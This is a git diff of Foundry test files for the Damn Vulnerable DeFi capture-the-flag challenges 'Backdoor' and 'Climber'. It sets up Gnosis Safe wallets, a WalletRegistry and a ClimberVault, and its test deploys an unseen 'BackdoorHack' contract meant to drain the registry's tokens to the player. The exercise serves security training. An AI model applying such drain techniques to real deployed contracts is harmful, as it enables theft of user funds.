private feeRecipient = address(2); address private player = address(2333); - DamnValuableToken public token; + + address private alice = address(5); + address private bob = address(6); + address private charlie = address(7); + address private david = address(8); + address[] private _initialBeneficiaries; + + uint256 AMOUNT_TOKENS_DISTRIBUTED = 40 ether; + + DamnValuableToken private token; + GnosisSafe private masterCopy; + GnosisSafeProxyFactory private walletFactory; + WalletRegistry private walletRegistry; function setUp() public { - vm.startPrank(deployer); vm.deal(deployer, type(uint256).max); _before(); - vm.stopPrank(); + // vm.stopPrank(); } function _before() public { /* SETUP SCENARIO - NO NEED TO CHANGE ANYTHING HERE */ + vm.startPrank(deployer); + masterCopy = new GnosisSafe(); + walletFactory = new GnosisSafeProxyFactory(); token = new DamnValuableToken(); + + vm.label(alice, "alice"); + vm.label(bob, "bob"); + vm.label(charlie, "charlie"); + vm.label(david, "david"); + _initialBeneficiaries.push(alice); + _initialBeneficiaries.push(bob); + _initialBeneficiaries.push(charlie); + _initialBeneficiaries.push(david); + + walletRegistry = + new WalletRegistry(address(masterCopy),address(walletFactory), address(token), _initialBeneficiaries); + token.transfer(address(walletRegistry), AMOUNT_TOKENS_DISTRIBUTED); + + assertEq(walletRegistry.owner(), deployer, ""); + for (uint256 i = 0; i < _initialBeneficiaries.length; i++) { + assertTrue(walletRegistry.beneficiaries(_initialBeneficiaries[i]), ""); + vm.startPrank(_initialBeneficiaries[i]); + vm.expectRevert(); + walletRegistry.addBeneficiary(_initialBeneficiaries[i]); + vm.stopPrank(); + } } function test_Exploit() public { + vm.startPrank(player); /* START CODE YOUR SOLUTION HERE */ - // ... + new BackdoorHack(address(walletRegistry), _initialBeneficiaries); /* END CODE YOUR SOLUTION */ - vm.startPrank(deployer); + vm.stopPrank(); _after(); } function _after() public { /* SUCCESS CONDITIONS - NO NEED TO CHANGE ANYTHING HERE */ - assertEq(token.totalSupply(), type(uint256).max, "CHECK totalSupply()"); + vm.startPrank(deployer); + + // Player must have used a single transaction [forge doesn't seem to support] + // expect(await ethers.provider.getTransactionCount(player.address)).to.eq(1); + + for (uint256 i = 0; i < _initialBeneficiaries.length; i++) { + // User must have registered a wallet + address wallet = walletRegistry.wallets(_initialBeneficiaries[i]); + assertTrue(wallet != address(0), ""); + // User is no longer registered as a beneficiary + assertFalse(walletRegistry.beneficiaries(_initialBeneficiaries[i])); + } + // Player must own all tokens + assertEq(token.balanceOf(player), AMOUNT_TOKENS_DISTRIBUTED, "AMOUNT_TOKENS_DISTRIBUTED"); vm.stopPrank(); } } diff --git a/foundry/test/CTF/Damn-Vulnerable-DeFi/12.Climber.t.sol b/foundry/test/CTF/Damn-Vulnerable-DeFi/12.Climber.t.sol index 4a413d2..086dec3 100644 --- a/foundry/test/CTF/Damn-Vulnerable-DeFi/12.Climber.t.sol +++ b/foundry/test/CTF/Damn-Vulnerable-DeFi/12.Climber.t.sol @@ -4,6 +4,7 @@ pragma solidity ^0.8.0; import { Test } from "forge-std/Test.sol"; import { Vm } from "forge-std/Vm.sol"; import { DamnValuableToken } from "@contracts/CTF/Damn-Vulnerable-DeFi/00.Base/DamnValuableToken.sol"; +import { ClimberVault } from "@contracts/CTF/Damn-Vulnerable-DeFi/12.Climber/12.Climber.sol"; /* forge test --match-path foundry/test/CTF/Damn-Vulnerable-DeFi/12.Climber.t.sol -vvvvv @@ -12,9 +13,16 @@ import { DamnValuableToken } from "@contracts/CTF/Damn-Vulnerable-DeFi/00.Base/D contract Climber_12_Test is Test { // hacking attack address address private deployer = address(1); - address private feeRecipient = address(2); + address private proposer = address(2); + address private sweeper = address(2); address private player = address(2333); + + uint256 private VAULT_TOKEN_BALANCE = 10_000_000 ether; + uint256 private PLAYER_INITIAL_ETH_BALANCE = 0.1 ether; + uint256 private TIMELOCK_DELAY = 60 * 60; + DamnValuableToken public token; + ClimberVault private valut; function setUp() public { vm.startPrank(deployer); @@ -26,6 +34,8 @@ contract Climber_12_Test is Test { function _before() public { /* SETUP SCENARIO - NO NEED TO CHANGE ANYTHING HERE */ token = new DamnValuableToken(); + valut = new ClimberVault(); + valut.initialize(deployer, proposer, sweeper); } function test_Exploit() public {